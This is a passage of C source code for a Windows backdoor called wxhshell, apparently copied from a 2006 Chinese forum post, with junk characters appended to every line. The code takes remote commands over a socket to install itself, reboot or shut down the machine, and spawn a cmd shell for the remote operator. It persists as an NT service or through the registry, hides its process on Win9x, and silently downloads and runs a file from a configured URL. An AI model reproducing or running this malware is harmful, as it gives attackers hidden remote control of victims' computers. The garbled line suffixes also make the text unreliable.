  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R"=M5  
  } k %rP*b*  
  else { #3$|PM7,_  
0`thND)?O  
    switch(cmd[0]) { ;Dgp !*v=  
  #P@r[VZ{6  
  // 帮助 {p\KB!Y-  
  case '?': { 24Tw1'mW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n%0vQ;Z1  
    break; _t[%@G>P  
  } !Yf0y;e|:  
  // 安装 W!^=)Qs  
  case 'i': { w#$k$T)  
    if(Install()) J|q_&MX/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mNY z7N  
    else _L72Ae(_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %G SSy_c  
    break; wz#n$W3mGf  
    } e+WVN5"ID>  
  // 卸载 )5v .9N 6v  
  case 'r': { cA\W|A)  
    if(Uninstall()) <am7t[G."  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KAzRFX),  
    else TDGzXJf[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `ouzeu9}  
    break; [)u(\nfGX  
    } F{+`F<r  
  // 显示 wxhshell 所在路径 OR9){qP  
  case 'p': { $F%?l\7j  
    char svExeFile[MAX_PATH]; ,m8*uCf  
    strcpy(svExeFile,"\n\r"); Jp#cFUa t  
      strcat(svExeFile,ExeFile); `QF|> N  
        send(wsh,svExeFile,strlen(svExeFile),0); gD\}CxtG  
    break; e- CW4x  
    } zE/(F;> FV  
  // 重启 J"MJVMo$T  
  case 'b': { Uf<vw3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8(;i~f:bCW  
    if(Boot(REBOOT)) a40BisrD~6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !/zj7z !  
    else {  B" z5j  
    closesocket(wsh); hH/ O2  
    ExitThread(0); FM)*>ax{  
    } R2s>;V.:  
    break; t_dg$KB  
    } 9="sx 8?  
  // 关机 3\G=J  
  case 'd': { K=)R!e8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DeSTo9A}!  
    if(Boot(SHUTDOWN)) 4C cb!?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A'8K^,<  
    else { mg(56)  
    closesocket(wsh); k]iS3+nD  
    ExitThread(0); ~=ktFuEa  
    } #VE$C3<  
    break; {  9$Q|XK  
    } O2dgdtm  
  // 获取shell *% *^a\2  
  case 's': { R.T-Ptene  
    CmdShell(wsh); $ZO<8|bW  
    closesocket(wsh); vBx^zDe  
    ExitThread(0); =;=V4nKN  
    break; 6%#'X  
  } tV9C33  
  // 退出 a)Ek~{9  
  case 'x': { I>#ChV)(#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yFo5pKF.J  
    CloseIt(wsh); eHe /w9`$R  
    break; `qz5rPyZ  
    } {eEWfMKIn  
  // 离开 GcCs}(eo  
  case 'q': { !.$P`wKr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xk8p,>/  
    closesocket(wsh); dCTpO  
    WSACleanup(); P0z{R[KBH  
    exit(1); uLljM{ I  
    break; OvG0UXRU  
        } *,*qv^  
  } iGk{8Da<  
  } {B.]w9  
@\8gzvkt  
  // 提示信息 A#: c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mU$7_7V~  
} vKC&Qi ;  
  } %Qz`SO8x?  
;%alZ  
  return; v6\2m c.  
} 3+5\xRq  
i%8&g2  
// shell模块句柄 J*X.0&Toc  
int CmdShell(SOCKET sock) J9.p8A^^2  
{ E(_I3mftm  
STARTUPINFO si; FF~4y>R7u  
ZeroMemory(&si,sizeof(si)); neFno5dj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {{%8|+B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MToQ8qKs  
PROCESS_INFORMATION ProcessInfo; .G~5F- 8'  
char cmdline[]="cmd"; }{oBKm9_p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _PXo'*j  
  return 0; 5q`)jd!*)  
} *+4iBpyiB  
r.^X>?  
// 自身启动模式 5udoZ >T  
int StartFromService(void) F$ p*G][  
{ z.HNb$;  
typedef struct _ D}b  
{ ldvxYq<:  
  DWORD ExitStatus; K0=E4>z,`q  
  DWORD PebBaseAddress; NOp=/  
  DWORD AffinityMask; 6G$tYfX  
  DWORD BasePriority; xH#a|iT?(  
  ULONG UniqueProcessId; wg_CI,Kq  
  ULONG InheritedFromUniqueProcessId; t>@3RBEK  
}   PROCESS_BASIC_INFORMATION; d|+jCTKS  
!BuJC$  
PROCNTQSIP NtQueryInformationProcess; TcmZ0L^O  
Bl\kU8O-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Atq2pL"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k]9>V@C  
*js$r+4  
  HANDLE             hProcess; W?J[K;<  
  PROCESS_BASIC_INFORMATION pbi; >/kG5]zxY  
%]$p ^m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @SG"t,5s  
  if(NULL == hInst ) return 0; +u:O AsR  
R bc2g"]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FXEfD"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D K_v{R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ny7=-]N4{"  
nL 07^6(  
  if (!NtQueryInformationProcess) return 0; [HiTR!o*  
qq3Qd,$Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U]EuDNkO{  
  if(!hProcess) return 0; zRE8299%z  
lT!$\E$1   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )K%O/H  
wK`ieHmp  
  CloseHandle(hProcess); R6Z}/m  
 Is6 _  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l@/kPEh  
if(hProcess==NULL) return 0; aC Lg~g4  
y{I[}$k  
HMODULE hMod; 8 E+C:"  
char procName[255]; [P c[{(  
unsigned long cbNeeded; #L= eK8^e  
[d~bZS|(T(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (Cd{#j<  
z "$d5XR  
  CloseHandle(hProcess); !Fg4Au  
f3>6:(  
if(strstr(procName,"services")) return 1; // 以服务启动 v:Z4z6M-  
N?{1'=Om  
  return 0; // 注册表启动 }%FuL5Tx  
} 4|41^B5Y  
1 u_2 4  
// 主模块 ~ 9~\f  
int StartWxhshell(LPSTR lpCmdLine) xP6?es`  
{ JrWBcp:Y  
  SOCKET wsl; jo3}]KC !  
BOOL val=TRUE; pH l2!{z  
  int port=0; P ^<0d'(  
  struct sockaddr_in door; zM r!WoW  
/j69NEl  
  if(wscfg.ws_autoins) Install(); l(w vQO  
P(gVF |J?  
port=atoi(lpCmdLine); :htq%gPex9  
O:=|b]t  
if(port<=0) port=wscfg.ws_port; J1Ki2I=  
S O:V|Tfj  
  WSADATA data; ^N2M/B|0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LSu^#B  
,ibPSN5Ca  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   46P6Bwobh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 69j~?w)^  
  door.sin_family = AF_INET; &<|-> *v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FJ(B]n[>  
  door.sin_port = htons(port); oYh<k  
[+MX$y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Xz .Y-5)  
closesocket(wsl); "3i80R\w`F  
return 1; _X2EBpZp  
} -llx:  
t-7U1B}=<C  
  if(listen(wsl,2) == INVALID_SOCKET) { @-&(TRbZo  
closesocket(wsl); " $IXZ  
return 1; =i^<a7M~  
} 4,F3@m:<  
  Wxhshell(wsl); Cq*}b4^;  
  WSACleanup(); 9kX=99kf[  
=e!l=d|/  
return 0; )dIfr  
g?[& 0r1  
} Ph+X{|  
z(` }:t  
// 以NT服务方式启动 bA<AG*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \aVY>1`  
{ z'oiyXEE3  
DWORD   status = 0; ) {  
  DWORD   specificError = 0xfffffff; }uI7 \\S  
#3Ej0"A@-B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !H1tBg]5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rx6-~0!eI=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A6NxM8ybn+  
  serviceStatus.dwWin32ExitCode     = 0; Ed^uA+D  
  serviceStatus.dwServiceSpecificExitCode = 0; qQxA@kdd  
  serviceStatus.dwCheckPoint       = 0; T4~`e_  
  serviceStatus.dwWaitHint       = 0; Q1nDl  
hP1 l v7P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B?#kW!wj  
  if (hServiceStatusHandle==0) return; bKuj po6  
I!@s6tG  
status = GetLastError(); "\/^/vn?  
  if (status!=NO_ERROR) _))I.c=v  
{ QOV}5 0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jkF+g$B  
    serviceStatus.dwCheckPoint       = 0; 5Z9~ &U  
    serviceStatus.dwWaitHint       = 0; /j' B\,  
    serviceStatus.dwWin32ExitCode     = status; F?8BS*r_  
    serviceStatus.dwServiceSpecificExitCode = specificError; @ 2!C^}d3F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6 tc:A5mK  
    return; rXY;m-  
  } ```d:f  
n|x$vgb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7k] RO  
  serviceStatus.dwCheckPoint       = 0; (/SGT$#8  
  serviceStatus.dwWaitHint       = 0; jWXR__>.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); iIsEQh  
} ;n} >C' :  
(rr}Pv%yb  
// 处理NT服务事件,比如:启动、停止 Gg9VS&VI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j1puB  
{ -Aa]aDAz68  
switch(fdwControl) /Fe:h >6  
{ `k(u:yGK  
case SERVICE_CONTROL_STOP: }qiF^D}  
  serviceStatus.dwWin32ExitCode = 0; \9]I#Ih}M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; LZM,QQ  
  serviceStatus.dwCheckPoint   = 0; \T`["<  
  serviceStatus.dwWaitHint     = 0; .73zik   
  { aUW/1nQHa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G[3k  
  } 6x_ T@  
  return; 8M^wuRn  
case SERVICE_CONTROL_PAUSE: ieo|%N{'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F&QTL-pQW  
  break; 3ar=1_Ar  
case SERVICE_CONTROL_CONTINUE: aqs%m (  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {)V?R  
  break; >*dQqJI  
case SERVICE_CONTROL_INTERROGATE: kDzj%sm!  
  break; =n-z;/NL  
}; WY+(]Wkao  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LY-lTr@A^  
} }iilzE4oH#  
 9<|m4  
// 标准应用程序主函数 U_}7d"<| ?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B(j02<-  
{ 8FzHNG  
~->Hlxze'K  
// 获取操作系统版本 |JUe>E*  
OsIsNt=GetOsVer(); tu\mFHvlg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %won=TG8  
LBiowd[  
  // 从命令行安装 lDW!Fg  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ue(r} *  
vd}*_d  
  // 下载执行文件 GS\%mPZ  
if(wscfg.ws_downexe) { Yd' H+r5b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ajn-KG!A  
  WinExec(wscfg.ws_filenam,SW_HIDE); }A{_L6qx  
} F =XF]  
"7Eo>g   
if(!OsIsNt) { R? O-x9  
// 如果时win9x,隐藏进程并且设置为注册表启动 8HMo.*Ti9  
HideProc(); S|"Fgoj r  
StartWxhshell(lpCmdLine); fNkuX-om  
} C"6 Amnj  
else Bvz62?  
  if(StartFromService()) Wk@ eV\H71  
  // 以服务方式启动 q0&Wk"X%rr  
  StartServiceCtrlDispatcher(DispatchTable); <rNtY,  
else ht?CH Uu  
  // 普通方式启动 I-xwJi9?,  
  StartWxhshell(lpCmdLine); : *ERRSL)  
D" L|"qJ  
return 0; cV-i*L4X  
}
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只看该作者 1 发表于: 2006-10-10
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